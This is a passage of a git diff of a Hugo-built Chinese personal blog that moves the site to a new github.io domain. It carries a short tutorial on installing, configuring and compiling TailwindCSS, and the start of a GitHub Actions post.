+<link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="简单使用TailwindCSS"><meta property="og:description" content="TailwindCSS是一个CSS框架，我个人理解这东西就是根据class来生成css（按需），而不是像bootstrap那样，TailwindCSS是原子化的
 安装
 npm install tailwindcss
 初始化tailwind.config.js
 npx tailwindcss init
 在tailwind.config.js中content属性，表示着项目的html或者js文件
-content: [
'./src/**/*.{html,js}'
],
如果没有配置content属性，会警告
+content: [ './src/**/*.{html,js}' ], 如果没有配置content属性，会警告
 warn - The content option in your Tailwind CSS configuration is missing or empty. warn - Configure your content sources or your generated CSS will be missing styles. warn - https://tailwindcss.com/docs/content-configuration
 创建一个css文件配置tailwind三大组件（base，components.utilities）
-@tailwind base;
@tailwind components;
@tailwind utilities;
如果使用的是webpacker或者postcss-import，不能使用@tailwind指令，需要
-@import &#34;tailwindcss/base&#34;;
@import &#34;tailwindcss/components&#34;;
@import &#34;tailwindcss/utilities&#34;;
也可以将css导入到js中
-import &#34;tailwindcss/tailwind.css&#34;
tailwind编译
-npx tailwindcss -i ./src/index.css -o ./dist/main.css"><meta property="og:type" content="article"><meta property="og:url" content="https://xiaochenabc123.github.io/posts/130/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2022-01-27T12:00:00+00:00"><meta property="article:modified_time" content="2022-01-27T12:00:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="简单使用TailwindCSS"><meta name=twitter:description content="TailwindCSS是一个CSS框架，我个人理解这东西就是根据class来生成css（按需），而不是像bootstrap那样，TailwindCSS是原子化的
+@tailwind base; @tailwind components; @tailwind utilities; 如果使用的是webpacker或者postcss-import，不能使用@tailwind指令，需要
+@import &#34;tailwindcss/base&#34;; @import &#34;tailwindcss/components&#34;; @import &#34;tailwindcss/utilities&#34;; 也可以将css导入到js中
+import &#34;tailwindcss/tailwind.css&#34; tailwind编译
+npx tailwindcss -i ./src/index.css -o ./dist/main.css"><meta property="og:type" content="article"><meta property="og:url" content="https://chenjunlinabc.github.io/posts/130/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2022-01-27T12:00:00+00:00"><meta property="article:modified_time" content="2022-01-27T12:00:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="简单使用TailwindCSS"><meta name=twitter:description content="TailwindCSS是一个CSS框架，我个人理解这东西就是根据class来生成css（按需），而不是像bootstrap那样，TailwindCSS是原子化的
 安装
 npm install tailwindcss
 初始化tailwind.config.js
 npx tailwindcss init
 在tailwind.config.js中content属性，表示着项目的html或者js文件
-content: [
'./src/**/*.{html,js}'
],
如果没有配置content属性，会警告
+content: [ './src/**/*.{html,js}' ], 如果没有配置content属性，会警告
 warn - The content option in your Tailwind CSS configuration is missing or empty. warn - Configure your content sources or your generated CSS will be missing styles. warn - https://tailwindcss.com/docs/content-configuration
 创建一个css文件配置tailwind三大组件（base，components.utilities）
-@tailwind base;
@tailwind components;
@tailwind utilities;
如果使用的是webpacker或者postcss-import，不能使用@tailwind指令，需要
-@import &#34;tailwindcss/base&#34;;
@import &#34;tailwindcss/components&#34;;
@import &#34;tailwindcss/utilities&#34;;
也可以将css导入到js中
-import &#34;tailwindcss/tailwind.css&#34;
tailwind编译
-npx tailwindcss -i ./src/index.css -o ./dist/main.css"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://xiaochenabc123.github.io/posts/"},{"@type":"ListItem","position":2,"name":"简单使用TailwindCSS","item":"https://xiaochenabc123.github.io/posts/130/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"简单使用TailwindCSS","name":"简单使用TailwindCSS","description":"TailwindCSS是一个CSS框架，我个人理解这东西就是根据class来生成css（按需），而不是像bootstrap那样，TailwindCSS是原子化的\n安装\nnpm install tailwindcss\n初始化tailwind.config.js\nnpx tailwindcss init\n在tailwind.config.js中content属性，表示着项目的html或者js文件\ncontent: [\r'./src/**/*.{html,js}'\r],\r如果没有配置content属性，会警告\nwarn - The content option in your Tailwind CSS configuration is missing or empty. warn - Configure your content sources or your generated CSS will be missing styles. warn - https://tailwindcss.com/docs/content-configuration\n创建一个css文件配置tailwind三大组件（base，components.utilities）\n@tailwind base;\r@tailwind components;\r@tailwind utilities;\r如果使用的是webpacker或者postcss-import，不能使用@tailwind指令，需要\n@import \u0026quot;tailwindcss/base\u0026quot;;\r@import \u0026quot;tailwindcss/components\u0026quot;;\r@import \u0026quot;tailwindcss/utilities\u0026quot;;\r也可以将css导入到js中\nimport \u0026quot;tailwindcss/tailwind.css\u0026quot;\rtailwind编译\nnpx tailwindcss -i ./src/index.css -o ./dist/main.css","keywords":["css","TailwindCSS"],"articleBody":"TailwindCSS是一个CSS框架，我个人理解这东西就是根据class来生成css（按需），而不是像bootstrap那样，TailwindCSS是原子化的\n安装\nnpm install tailwindcss\n初始化tailwind.config.js\nnpx tailwindcss init\n在tailwind.config.js中content属性，表示着项目的html或者js文件\ncontent: [\r'./src/**/*.{html,js}'\r],\r如果没有配置content属性，会警告\nwarn - The content option in your Tailwind CSS configuration is missing or empty. warn - Configure your content sources or your generated CSS will be missing styles. warn - https://tailwindcss.com/docs/content-configuration\n创建一个css文件配置tailwind三大组件（base，components.utilities）\n@tailwind base;\r@tailwind components;\r@tailwind utilities;\r如果使用的是webpacker或者postcss-import，不能使用@tailwind指令，需要\n@import \"tailwindcss/base\";\r@import \"tailwindcss/components\";\r@import \"tailwindcss/utilities\";\r也可以将css导入到js中\nimport \"tailwindcss/tailwind.css\"\rtailwind编译\nnpx tailwindcss -i ./src/index.css -o ./dist/main.css\n如果使用的是postcss\npostcss ./src/index.css -o ./dist/main.css\n例如:\nhallo word\r编译后的结果为\n.text-gray-900 {\r--tw-text-opacity: 1;\rcolor: rgb(17 24 39 / var(--tw-text-opacity));\r}\r具体样式根据tailwindcss官方文档为准，https://tailwindcss.com/docs/\n当然也允许自定义，直接配置tailwind.config.js文件就好了（theme属性）\nVisual Studio Code插件Tailwind CSS IntelliSense，让tailwindcss使用更舒适\n","wordCount":"100","inLanguage":"en","datePublished":"2022-01-27T12:00:00Z","dateModified":"2022-01-27T12:00:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://xiaochenabc123.github.io/posts/130/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://xiaochenabc123.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/posts/>Posts</a></div><h1 class=post-title>简单使用TailwindCSS</h1><div class=post-meta><span title='2022-01-27 12:00:00 +0000 UTC'>2022-01-27</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://xiaochenabc123.github.io//posts/%e7%ae%80%e5%8d%95%e4%bd%bf%e7%94%a8TailwindCSS.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>TailwindCSS是一个CSS框架，我个人理解这东西就是根据class来生成css（按需），而不是像bootstrap那样，TailwindCSS是原子化的</p><p>安装</p><p>npm install tailwindcss</p><p>初始化tailwind.config.js</p><p>npx tailwindcss init</p><p>在tailwind.config.js中content属性，表示着项目的html或者js文件</p><pre><code>content: [
-    './src/**/*.{html,js}'
-],
+@tailwind base; @tailwind components; @tailwind utilities; 如果使用的是webpacker或者postcss-import，不能使用@tailwind指令，需要
+@import &#34;tailwindcss/base&#34;; @import &#34;tailwindcss/components&#34;; @import &#34;tailwindcss/utilities&#34;; 也可以将css导入到js中
+import &#34;tailwindcss/tailwind.css&#34; tailwind编译
+npx tailwindcss -i ./src/index.css -o ./dist/main.css"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://chenjunlinabc.github.io/posts/"},{"@type":"ListItem","position":2,"name":"简单使用TailwindCSS","item":"https://chenjunlinabc.github.io/posts/130/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"简单使用TailwindCSS","name":"简单使用TailwindCSS","description":"TailwindCSS是一个CSS框架，我个人理解这东西就是根据class来生成css（按需），而不是像bootstrap那样，TailwindCSS是原子化的\n安装\nnpm install tailwindcss\n初始化tailwind.config.js\nnpx tailwindcss init\n在tailwind.config.js中content属性，表示着项目的html或者js文件\ncontent: [ './src/**/*.{html,js}' ], 如果没有配置content属性，会警告\nwarn - The content option in your Tailwind CSS configuration is missing or empty. warn - Configure your content sources or your generated CSS will be missing styles. warn - https://tailwindcss.com/docs/content-configuration\n创建一个css文件配置tailwind三大组件（base，components.utilities）\n@tailwind base; @tailwind components; @tailwind utilities; 如果使用的是webpacker或者postcss-import，不能使用@tailwind指令，需要\n@import \u0026quot;tailwindcss/base\u0026quot;; @import \u0026quot;tailwindcss/components\u0026quot;; @import \u0026quot;tailwindcss/utilities\u0026quot;; 也可以将css导入到js中\nimport \u0026quot;tailwindcss/tailwind.css\u0026quot; tailwind编译\nnpx tailwindcss -i ./src/index.css -o ./dist/main.css","keywords":["css","TailwindCSS"],"articleBody":"TailwindCSS是一个CSS框架，我个人理解这东西就是根据class来生成css（按需），而不是像bootstrap那样，TailwindCSS是原子化的\n安装\nnpm install tailwindcss\n初始化tailwind.config.js\nnpx tailwindcss init\n在tailwind.config.js中content属性，表示着项目的html或者js文件\ncontent: [ './src/**/*.{html,js}' ], 如果没有配置content属性，会警告\nwarn - The content option in your Tailwind CSS configuration is missing or empty. warn - Configure your content sources or your generated CSS will be missing styles. warn - https://tailwindcss.com/docs/content-configuration\n创建一个css文件配置tailwind三大组件（base，components.utilities）\n@tailwind base; @tailwind components; @tailwind utilities; 如果使用的是webpacker或者postcss-import，不能使用@tailwind指令，需要\n@import \"tailwindcss/base\"; @import \"tailwindcss/components\"; @import \"tailwindcss/utilities\"; 也可以将css导入到js中\nimport \"tailwindcss/tailwind.css\" tailwind编译\nnpx tailwindcss -i ./src/index.css -o ./dist/main.css\n如果使用的是postcss\npostcss ./src/index.css -o ./dist/main.css\n例如:\nhallo word 编译后的结果为\n.text-gray-900 { --tw-text-opacity: 1; color: rgb(17 24 39 / var(--tw-text-opacity)); } 具体样式根据tailwindcss官方文档为准，https://tailwindcss.com/docs/\n当然也允许自定义，直接配置tailwind.config.js文件就好了（theme属性）\nVisual Studio Code插件Tailwind CSS IntelliSense，让tailwindcss使用更舒适\n","wordCount":"100","inLanguage":"en","datePublished":"2022-01-27T12:00:00Z","dateModified":"2022-01-27T12:00:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://chenjunlinabc.github.io/posts/130/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://chenjunlinabc.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/posts/>Posts</a></div><h1 class=post-title>简单使用TailwindCSS</h1><div class=post-meta><span title='2022-01-27 12:00:00 +0000 UTC'>2022-01-27</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://chenjunlinabc.github.io//posts/%e7%ae%80%e5%8d%95%e4%bd%bf%e7%94%a8TailwindCSS.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>TailwindCSS是一个CSS框架，我个人理解这东西就是根据class来生成css（按需），而不是像bootstrap那样，TailwindCSS是原子化的</p><p>安装</p><p>npm install tailwindcss</p><p>初始化tailwind.config.js</p><p>npx tailwindcss init</p><p>在tailwind.config.js中content属性，表示着项目的html或者js文件</p><pre><code>content: [
+    './src/**/*.{html,js}'
+],
 </code></pre><p>如果没有配置content属性，会警告</p><p>warn - The <code>content</code> option in your Tailwind CSS configuration is missing or empty.
 warn - Configure your content sources or your generated CSS will be missing styles.
-warn - <a href=https://tailwindcss.com/docs/content-configuration>https://tailwindcss.com/docs/content-configuration</a></p><p>创建一个css文件配置tailwind三大组件（base，components.utilities）</p><pre><code>@tailwind base;
-@tailwind components;
-@tailwind utilities;
-</code></pre><p>如果使用的是webpacker或者postcss-import，不能使用@tailwind指令，需要</p><pre><code>@import &quot;tailwindcss/base&quot;;
-@import &quot;tailwindcss/components&quot;;
-@import &quot;tailwindcss/utilities&quot;;
-</code></pre><p>也可以将css导入到js中</p><pre><code>import &quot;tailwindcss/tailwind.css&quot;
-</code></pre><p>tailwind编译</p><p>npx tailwindcss -i ./src/index.css -o ./dist/main.css</p><p>如果使用的是postcss</p><p>postcss ./src/index.css -o ./dist/main.css</p><p>例如:</p><pre><code>&lt;h1 class=&quot;text-gray-900&quot;&gt;
-    hallo word
-&lt;/h1&gt;
-</code></pre><p>编译后的结果为</p><pre><code>.text-gray-900 {
-    --tw-text-opacity: 1;
-    color: rgb(17 24 39 / var(--tw-text-opacity));
-}
-</code></pre><p>具体样式根据tailwindcss官方文档为准，https://tailwindcss.com/docs/</p><p>当然也允许自定义，直接配置tailwind.config.js文件就好了（theme属性）</p><p>Visual Studio Code插件Tailwind CSS IntelliSense，让tailwindcss使用更舒适</p></div><footer class=post-footer><ul class=post-tags><li><a href=https://xiaochenabc123.github.io/tags/css/>css</a></li><li><a href=https://xiaochenabc123.github.io/tags/tailwindcss/>TailwindCSS</a></li></ul><nav class=paginav><a class=prev href=https://xiaochenabc123.github.io/posts/131/><span class=title>« Prev</span><br><span>简单使用GitHub Actions来实现CI/CD</span></a>
-<a class=next href=https://xiaochenabc123.github.io/posts/129/><span class=title>Next »</span><br><span>PostCSS学习笔记</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+warn - <a href=https://tailwindcss.com/docs/content-configuration>https://tailwindcss.com/docs/content-configuration</a></p><p>创建一个css文件配置tailwind三大组件（base，components.utilities）</p><pre><code>@tailwind base;
+@tailwind components;
+@tailwind utilities;
+</code></pre><p>如果使用的是webpacker或者postcss-import，不能使用@tailwind指令，需要</p><pre><code>@import &quot;tailwindcss/base&quot;;
+@import &quot;tailwindcss/components&quot;;
+@import &quot;tailwindcss/utilities&quot;;
+</code></pre><p>也可以将css导入到js中</p><pre><code>import &quot;tailwindcss/tailwind.css&quot;
+</code></pre><p>tailwind编译</p><p>npx tailwindcss -i ./src/index.css -o ./dist/main.css</p><p>如果使用的是postcss</p><p>postcss ./src/index.css -o ./dist/main.css</p><p>例如:</p><pre><code>&lt;h1 class=&quot;text-gray-900&quot;&gt;
+    hallo word
+&lt;/h1&gt;
+</code></pre><p>编译后的结果为</p><pre><code>.text-gray-900 {
+    --tw-text-opacity: 1;
+    color: rgb(17 24 39 / var(--tw-text-opacity));
+}
+</code></pre><p>具体样式根据tailwindcss官方文档为准，https://tailwindcss.com/docs/</p><p>当然也允许自定义，直接配置tailwind.config.js文件就好了（theme属性）</p><p>Visual Studio Code插件Tailwind CSS IntelliSense，让tailwindcss使用更舒适</p></div><footer class=post-footer><ul class=post-tags><li><a href=https://chenjunlinabc.github.io/tags/css/>css</a></li><li><a href=https://chenjunlinabc.github.io/tags/tailwindcss/>TailwindCSS</a></li></ul><nav class=paginav><a class=prev href=https://chenjunlinabc.github.io/posts/131/><span class=title>« Prev</span><br><span>简单使用GitHub Actions来实现CI/CD</span></a>
+<a class=next href=https://chenjunlinabc.github.io/posts/129/><span class=title>Next »</span><br><span>PostCSS学习笔记</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script><script>document.querySelectorAll("pre > code").forEach(e=>{const n=e.parentNode.parentNode,t=document.createElement("button");t.classList.add("copy-code"),t.innerHTML="copy";function s(){t.innerHTML="copied!",setTimeout(()=>{t.innerHTML="copy"},2e3)}t.addEventListener("click",t=>{if("clipboard"in navigator){navigator.clipboard.writeText(e.textContent),s();return}const n=document.createRange();n.selectNodeContents(e);const o=window.getSelection();o.removeAllRanges(),o.addRange(n);try{document.execCommand("copy"),s()}catch{}o.removeRange(n)}),n.classList.contains("highlight")?n.appendChild(t):n.parentNode.firstChild==n||(e.parentNode.parentNode.parentNode.parentNode.parentNode.nodeName=="TABLE"?e.parentNode.parentNode.parentNode.parentNode.parentNode.appendChild(t):e.parentNode.appendChild(t))})</script></body></html>
\ No newline at end of file
diff --git a/posts/131/index.html b/posts/131/index.html
index 8bb56d4a..b788ee82 100644
--- a/posts/131/index.html
+++ b/posts/131/index.html
@@ -9,8 +9,8 @@
 jobs：每一项任务都需要定义个job_id，job中的name为该任务的描述，needs为指定当前任务的运行顺序（依赖关系），runs-on为指定运行时需要的虚拟机环境（这个字段必须填）
 目前github支持的虚拟机操作系统有ubuntu，windows，macOS，而且github提供的虚拟机是免费使用的
 这里举个例子（github官方的）
-name: GitHub Actions Demo
on: [push]
jobs:
Explore-GitHub-Actions:
runs-on: ubuntu-latest
steps:
- run: echo &#34; The job was automatically triggered by a ${{ github.event_name }} event.&#34;
- run: echo &#34; This job is now running on a ${{ runner.os }} server hosted by GitHub!"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/posts/131/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
-<link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="简单使用GitHub Actions来实现CI/CD"><meta property="og:description" content="CI：持续集成 (Continuous Integration) CD：持续交付 (Continuous Delivery) CD：持续部署 (Continuous Deployment)
+name: GitHub Actions Demo on: [push] jobs: Explore-GitHub-Actions: runs-on: ubuntu-latest steps: - run: echo &#34; The job was automatically triggered by a ${{ github.event_name }} event.&#34; - run: echo &#34; This job is now running on a ${{ runner.os }} server hosted by GitHub!"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/posts/131/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
+<link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new 